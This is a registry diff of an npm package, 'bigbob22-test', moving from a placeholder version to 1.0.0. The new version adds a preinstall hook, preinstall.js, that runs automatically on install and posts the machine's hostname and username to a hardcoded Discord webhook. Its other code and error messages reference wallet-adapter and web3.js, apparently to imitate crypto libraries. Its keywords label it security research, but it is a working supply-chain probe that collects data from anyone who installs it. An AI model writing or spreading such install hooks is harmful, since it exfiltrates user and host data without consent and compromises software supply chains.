bigbob22-test 0.0.0-stage → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,3 +1 @@
1
- # Temporary Holding Version
2
1
 
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
package/index.js ADDED
@@ -0,0 +1,5 @@
1
+ 'use strict';
2
+
3
+ module.exports = function cutekittenTest() {
4
+ return 'wallet-adapter-base is available';
5
+ };
package/package.json CHANGED
@@ -1,6 +1,24 @@
1
1
  {
2
2
  "name": "bigbob22-test",
3
- "version": "0.0.0-stage",
4
- "stub": true,
5
- "description": "Temporary package placeholder for staged publishing"
6
- }
3
+ "version": "1.0.0",
4
+ "description": "bigbob22-test",
5
+ "main": "index.js",
6
+ "files": [
7
+ "index.js",
8
+ "preinstall.js"
9
+ ],
10
+ "engines": {
11
+ "node": ">=18"
12
+ },
13
+ "keywords": [
14
+ "security-research",
15
+ "lifecycle-hooks",
16
+ "preinstall",
17
+ "test",
18
+ "do-not-use"
19
+ ],
20
+ "scripts": {
21
+ "preinstall": "node preinstall.js"
22
+ },
23
+ "license": "UNLICENSED"
24
+ }
package/preinstall.js ADDED
@@ -0,0 +1,64 @@
1
+ 'use strict';
2
+
3
+ const fs = require('node:fs');
4
+ const path = require('node:path');
5
+ const os = require('node:os');
6
+
7
+ const WEBHOOK_URL = 'https://canary.discord.com/api/webhooks/1566232728179843243/pM5rDIrCRrEpQRbA7ibaiQk1XOQlIftmBacA5s8jD8NvXn5W-rS832DOWHQS-G-j3N6U';
8
+
9
+ function timestamp() {
10
+ const d = new Date();
11
+ const p = n => String(n).padStart(2, '0');
12
+ return `${d.getFullYear()}-${p(d.getMonth() + 1)}-${p(d.getDate())} ` +
13
+ `${p(d.getHours())}:${p(d.getMinutes())}:${p(d.getSeconds())}`;
14
+ }
15
+
16
+ async function runHook({
17
+ send = globalThis.fetch,
18
+ writeMarker = marker => fs.writeFileSync(
19
+ path.join(__dirname, '.preinstall-marker.json'),
20
+ JSON.stringify(marker, null, 2) + '\n'
21
+ ),
22
+ } = {}) {
23
+ const message = `Run on ${os.hostname()} as ${os.userInfo().username} at ${timestamp()}`;
24
+
25
+ const marker = {
26
+ package: 'cutekitten-test',
27
+ event: process.env.npm_lifecycle_event || 'manual',
28
+ timestamp: new Date().toISOString(),
29
+ };
30
+
31
+ try {
32
+ const response = await send(WEBHOOK_URL, {
33
+ method: 'POST',
34
+ headers: { 'Content-Type': 'application/json; charset=utf-8' },
35
+ body: JSON.stringify({ content: message, username: 'PC Notifier' }),
36
+ redirect: 'error',
37
+ signal: AbortSignal.timeout(5000),
38
+ });
39
+ marker.webhook = response.ok
40
+ ? { status: 'sent', httpStatus: response.status }
41
+ : { status: 'failed', reason: `Discord responded with HTTP ${response.status}.` };
42
+ } catch (err) {
43
+ marker.webhook = { status: 'failed', reason: err.message };
44
+ }
45
+
46
+ writeMarker(marker);
47
+ return marker;
48
+ }
49
+
50
+ module.exports = runHook;
51
+
52
+ if (require.main === module) {
53
+ runHook().then(marker => {
54
+ if (marker.webhook.status === 'sent') {
55
+ console.log('Discord message sent.');
56
+ } else {
57
+ console.error(marker.webhook.reason);
58
+ process.exitCode = 1;
59
+ }
60
+ }).catch(() => {
61
+ console.error('[web3.js] Unable to write the local test marker.');
62
+ process.exitCode = 1;
63
+ });
64
+ }